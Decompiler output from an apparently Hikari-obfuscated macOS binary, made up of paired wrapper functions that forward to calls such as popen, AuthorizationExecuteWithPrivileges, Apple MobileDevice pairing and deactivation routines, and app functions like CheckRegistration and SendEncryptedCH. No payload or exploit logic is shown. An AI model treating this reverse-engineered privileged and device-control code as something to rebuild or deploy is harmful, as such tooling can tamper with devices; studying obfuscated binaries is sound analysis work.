void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18642(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223180) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18643(void *a1, const char *a2)
{
HikariFunctionWrapper_18642(a1, a2);
}
//----- (0000000100223190) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18644(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002231A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18645(NSString *a1)
{
HikariFunctionWrapper_18644(a1);
}
//----- (00000001002231B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18646(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002231C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18647(void *a1, const char *a2)
{
HikariFunctionWrapper_18646(a1, a2);
}
//----- (00000001002231D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18648(void *a1)
{
showErrMessage(a1);
}
//----- (00000001002231E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18649(void *a1)
{
HikariFunctionWrapper_18648(a1);
}
//----- (00000001002231F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18650(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18651(void *a1, const char *a2)
{
HikariFunctionWrapper_18650(a1, a2);
}
//----- (0000000100223210) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18652(__int64 a1)
{
return isComplatedAPI(a1);
}
// 10001352D: using guessed type __int64 __fastcall isComplatedAPI(_QWORD);
//----- (0000000100223220) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18653(__int64 a1)
{
return HikariFunctionWrapper_18652(a1);
}
//----- (0000000100223230) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18654(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223240) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18655(NSString *a1)
{
HikariFunctionWrapper_18654(a1);
}
//----- (0000000100223250) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_18656(char *a1, int a2, FILE *a3)
{
return fgets(a1, a2, a3);
}
//----- (0000000100223260) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_18657(char *a1, int a2, FILE *a3)
{
return HikariFunctionWrapper_18656(a1, a2, a3);
}
//----- (0000000100223270) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18658(const char *a1)
{
return printf(a1);
}
//----- (0000000100223280) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18659(const char *a1)
{
return HikariFunctionWrapper_18658(a1);
}
//----- (0000000100223290) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_18660(char *a1, int a2, FILE *a3)
{
return fgets(a1, a2, a3);
}
//----- (00000001002232A0) ----------------------------------------------------
char *__fastcall HikariFunctionWrapper_18661(char *a1, int a2, FILE *a3)
{
return HikariFunctionWrapper_18660(a1, a2, a3);
}
//----- (00000001002232B0) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_18662(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2)
{
return AuthorizationFree(a1, a2);
}
//----- (00000001002232C0) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_18663(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2)
{
return HikariFunctionWrapper_18662(a1, a2);
}
//----- (00000001002232D0) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_18664(
const AuthorizationRights *a1,
const AuthorizationEnvironment *a2,
AuthorizationFlags a3,
AuthorizationRef *a4)
{
return AuthorizationCreate(a1, a2, a3, a4);
}
//----- (00000001002232E0) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_18665(
const AuthorizationRights *a1,
const AuthorizationEnvironment *a2,
AuthorizationFlags a3,
AuthorizationRef *a4)
{
return HikariFunctionWrapper_18664(a1, a2, a3, a4);
}
//----- (00000001002232F0) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_18666(
const AuthorizationOpaqueRef *a1,
const char *a2,
AuthorizationFlags a3,
char *const *a4,
FILE **a5)
{
return AuthorizationExecuteWithPrivileges(a1, a2, a3, a4, a5);
}
//----- (0000000100223300) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_18667(
const AuthorizationOpaqueRef *a1,
const char *a2,
AuthorizationFlags a3,
char *const *a4,
FILE **a5)
{
return HikariFunctionWrapper_18666(a1, a2, a3, a4, a5);
}
//----- (0000000100223310) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18668(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223320) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18669(NSString *a1)
{
HikariFunctionWrapper_18668(a1);
}
//----- (0000000100223330) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18670(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100223340) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18671(void *a1)
{
HikariFunctionWrapper_18670(a1);
}
//----- (0000000100223350) ----------------------------------------------------
size_t __fastcall HikariFunctionWrapper_18672(const char *a1)
{
return strlen(a1);
}
//----- (0000000100223360) ----------------------------------------------------
size_t __fastcall HikariFunctionWrapper_18673(const char *a1)
{
return HikariFunctionWrapper_18672(a1);
}
//----- (0000000100223370) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18674(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223380) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18675(NSString *a1)
{
HikariFunctionWrapper_18674(a1);
}
//----- (0000000100223390) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_18676(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2)
{
return AuthorizationFree(a1, a2);
}
//----- (00000001002233A0) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_18677(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2)
{
return HikariFunctionWrapper_18676(a1, a2);
}
//----- (00000001002233B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18678(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002233C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18679(void *a1, const char *a2)
{
return HikariFunctionWrapper_18678(a1, a2);
}
//----- (00000001002233D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18680(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002233E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18681(void *a1, const char *a2)
{
return HikariFunctionWrapper_18680(a1, a2);
}
//----- (00000001002233F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18682(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223400) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18683(void *a1, const char *a2)
{
return HikariFunctionWrapper_18682(a1, a2);
}
//----- (0000000100223410) ----------------------------------------------------
FILE *__fastcall HikariFunctionWrapper_18684(const char *a1, const char *a2)
{
return popen(a1, a2);
}
//----- (0000000100223420) ----------------------------------------------------
FILE *__fastcall HikariFunctionWrapper_18685(const char *a1, const char *a2)
{
return HikariFunctionWrapper_18684(a1, a2);
}
//----- (0000000100223430) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18686(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223440) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18687(void *a1, const char *a2)
{
return HikariFunctionWrapper_18686(a1, a2);
}
//----- (0000000100223450) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18688(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (0000000100223460) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18689(void *a1)
{
HikariFunctionWrapper_18688(a1);
}
//----- (0000000100223470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18690(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18691(void *a1, const char *a2)
{
return HikariFunctionWrapper_18690(a1, a2);
}
//----- (0000000100223490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18692(void *a1)
{
return clean(a1);
}
//----- (00000001002234A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18693(void *a1)
{
return HikariFunctionWrapper_18692(a1);
}
//----- (00000001002234B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18694(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002234C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18695(void *a1, const char *a2)
{
return HikariFunctionWrapper_18694(a1, a2);
}
//----- (00000001002234D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18696(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (00000001002234E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18697(void *a1)
{
HikariFunctionWrapper_18696(a1);
}
//----- (00000001002234F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18698(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223500) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18699(void *a1, const char *a2)
{
return HikariFunctionWrapper_18698(a1, a2);
}
//----- (0000000100223510) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18700(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223520) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18701(void *a1, const char *a2)
{
return HikariFunctionWrapper_18700(a1, a2);
}
//----- (0000000100223530) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18702(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223540) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18703(NSString *a1)
{
HikariFunctionWrapper_18702(a1);
}
//----- (0000000100223550) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18704(void *a1)
{
return sh(a1);
}
//----- (0000000100223560) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18705(void *a1)
{
return HikariFunctionWrapper_18704(a1);
}
//----- (0000000100223570) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18706(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223580) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18707(void *a1, const char *a2)
{
return HikariFunctionWrapper_18706(a1, a2);
}
//----- (0000000100223590) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18708(void *a1)
{
showErrMessage(a1);
}
//----- (00000001002235A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18709(void *a1)
{
HikariFunctionWrapper_18708(a1);
}
//----- (00000001002235B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18710(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002235C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18711(void *a1, const char *a2)
{
HikariFunctionWrapper_18710(a1, a2);
}
//----- (00000001002235D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18712(__int64 a1)
{
return AMDeviceConnect(a1);
}
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
//----- (00000001002235E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18713(__int64 a1)
{
return HikariFunctionWrapper_18712(a1);
}
//----- (00000001002235F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18714(__int64 a1)
{
return AMDeviceStartSession(a1);
}
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
//----- (0000000100223600) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18715(__int64 a1)
{
return HikariFunctionWrapper_18714(a1);
}
//----- (0000000100223610) ----------------------------------------------------
char HikariFunctionWrapper_18716()
{
return PairLoop();
}
//----- (0000000100223620) ----------------------------------------------------
char HikariFunctionWrapper_18717()
{
return HikariFunctionWrapper_18716();
}
//----- (0000000100223630) ----------------------------------------------------
id HikariFunctionWrapper_18718()
{
return CheckRegistration();
}
//----- (0000000100223640) ----------------------------------------------------
id HikariFunctionWrapper_18719()
{
return HikariFunctionWrapper_18718();
}
//----- (0000000100223650) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18720(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223660) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18721(void *a1, const char *a2)
{
return HikariFunctionWrapper_18720(a1, a2);
}
//----- (0000000100223670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18722(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18723(void *a1, const char *a2)
{
return HikariFunctionWrapper_18722(a1, a2);
}
//----- (0000000100223690) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18724(void *a1)
{
return encryptMyData(a1);
}
//----- (00000001002236A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18725(void *a1)
{
return HikariFunctionWrapper_18724(a1);
}
//----- (00000001002236B0) ----------------------------------------------------
__CFString *__fastcall HikariFunctionWrapper_18726(void *a1, void *a2)
{
return SendEncryptedCH(a1, a2);
}
//----- (00000001002236C0) ----------------------------------------------------
__CFString *__fastcall HikariFunctionWrapper_18727(void *a1, void *a2)
{
return HikariFunctionWrapper_18726(a1, a2);
}
//----- (00000001002236D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18728(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002236E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18729(void *a1, const char *a2)
{
return HikariFunctionWrapper_18728(a1, a2);
}
//----- (00000001002236F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18730(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18731(void *a1, const char *a2)
{
return HikariFunctionWrapper_18730(a1, a2);
}
//----- (0000000100223710) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18732(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223720) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18733(void *a1, const char *a2)
{
HikariFunctionWrapper_18732(a1, a2);
}
//----- (0000000100223730) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18734(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223740) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18735(void *a1, const char *a2)
{
return HikariFunctionWrapper_18734(a1, a2);
}
//----- (0000000100223750) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18736(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223760) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18737(void *a1, const char *a2)
{
return HikariFunctionWrapper_18736(a1, a2);
}
//----- (0000000100223770) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18738(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223780) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18739(void *a1, const char *a2)
{
HikariFunctionWrapper_18738(a1, a2);
}
//----- (0000000100223790) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18740(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002237A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18741(void *a1, const char *a2)
{
return HikariFunctionWrapper_18740(a1, a2);
}
//----- (00000001002237B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18742(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002237C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18743(NSString *a1)
{
HikariFunctionWrapper_18742(a1);
}
//----- (00000001002237D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18744(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002237E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18745(void *a1, const char *a2)
{
HikariFunctionWrapper_18744(a1, a2);
}
//----- (00000001002237F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18746(__int64 a1)
{
return AMDeviceValidatePairing(a1);
}
// 1002561A4: using guessed type __int64 __fastcall AMDeviceValidatePairing(_QWORD);
//----- (0000000100223800) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18747(__int64 a1)
{
return HikariFunctionWrapper_18746(a1);
}
//----- (0000000100223810) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18748(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223820) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18749(void *a1, const char *a2)
{
HikariFunctionWrapper_18748(a1, a2);
}
//----- (0000000100223830) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18750(__int64 a1)
{
return AMDeviceDeactivate(a1);
}
// 100256168: using guessed type __int64 __fastcall AMDeviceDeactivate(_QWORD);
//----- (0000000100223840) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18751(__int64 a1)
{
return HikariFunctionWrapper_18750(a1);
}
//----- (0000000100223850) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18752(__int64 a1)
{
RestartDevice(a1);
}
//----- (0000000100223860) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18753(__int64 a1)
{
HikariFunctionWrapper_18752(a1);
}
//----- (0000000100223870) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18754(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223880) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18755(NSString *a1)
{
HikariFunctionWrapper_18754(a1);
}
//----- (0000000100223890) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18756(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002238A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18757(void *a1, const char *a2)
{
HikariFunctionWrapper_18756(a1, a2);
}
//----- (00000001002238B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18758(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (00000001002238C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18759(__int64 a1)
{
return HikariFunctionWrapper_18758(a1);
}
//----- (00000001002238D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18760(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002238E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18761(NSString *a1)
{
HikariFunctionWrapper_18760(a1);
}
//----- (00000001002238F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18762(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100223900) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18763(void *a1)
{
HikariFunctionWrapper_18762(a1);
}
//----- (0000000100223910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18764(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18765(void *a1, const char *a2)
{
return HikariFunctionWrapper_18764(a1, a2);
}
//----- (0000000100223930) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18766(
__int64 a1,
__int64 a2,
__int64 a3,
unsigned int a4,
unsigned int a5)
{
CollectSyslogArchive(a1, a2, a3, a4, a5);
}
//----- (0000000100223940) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18767(
__int64 a1,
__int64 a2,
__int64 a3,
unsigned int a4,
unsigned int a5)
{
HikariFunctionWrapper_18766(a1, a2, a3, a4, a5);
}
//----- (0000000100223950) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18768(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223960) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18769(void *a1, const char *a2)
{
HikariFunctionWrapper_18768(a1, a2);
}
//----- (0000000100223970) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18770(__int64 a1)
{
return RequestPidList(a1);
}
//----- (0000000100223980) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18771(__int64 a1)
{
return HikariFunctionWrapper_18770(a1);
}
//----- (0000000100223990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18772(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002239A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18773(void *a1, const char *a2)
{
return HikariFunctionWrapper_18772(a1, a2);
}
//----- (00000001002239B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18774(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002239C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18775(NSString *a1)
{
HikariFunctionWrapper_18774(a1);
}
//----- (00000001002239D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18776(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002239E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18777(void *a1, const char *a2)
{
HikariFunctionWrapper_18776(a1, a2);
}
//----- (00000001002239F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18778(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223A00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18779(void *a1, const char *a2)
{
HikariFunctionWrapper_18778(a1, a2);
}
//----- (0000000100223A10) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18780(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (0000000100223A20) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18781(__int64 a1)
{
return HikariFunctionWrapper_18780(a1);
}
//----- (0000000100223A30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18782(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223A40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18783(NSString *a1)
{
HikariFunctionWrapper_18782(a1);
}
//----- (0000000100223A50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18784(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223A60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18785(void *a1, const char *a2)
{
return HikariFunctionWrapper_18784(a1, a2);
}
//----- (0000000100223A70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18786(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223A80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18787(void *a1, const char *a2)
{
HikariFunctionWrapper_18786(a1, a2);
}
//----- (0000000100223A90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18788(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100223AA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18789(void *a1)
{
HikariFunctionWrapper_18788(a1);
}
//----- (0000000100223AB0) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_18790(unsigned int a1)
{
return sleep(a1);
}
//----- (0000000100223AC0) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_18791(unsigned int a1)
{
return HikariFunctionWrapper_18790(a1);
}
//----- (0000000100223AD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18792(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223AE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18793(NSString *a1)
{
HikariFunctionWrapper_18792(a1);
}
//----- (0000000100223AF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18794(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223B00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18795(NSString *a1)
{
HikariFunctionWrapper_18794(a1);
}
//----- (0000000100223B10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18796(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223B20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18797(void *a1, const char *a2)
{
HikariFunctionWrapper_18796(a1, a2);
}
//----- (0000000100223B30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18798(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223B40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18799(NSString *a1)
{
HikariFunctionWrapper_18798(a1);
}
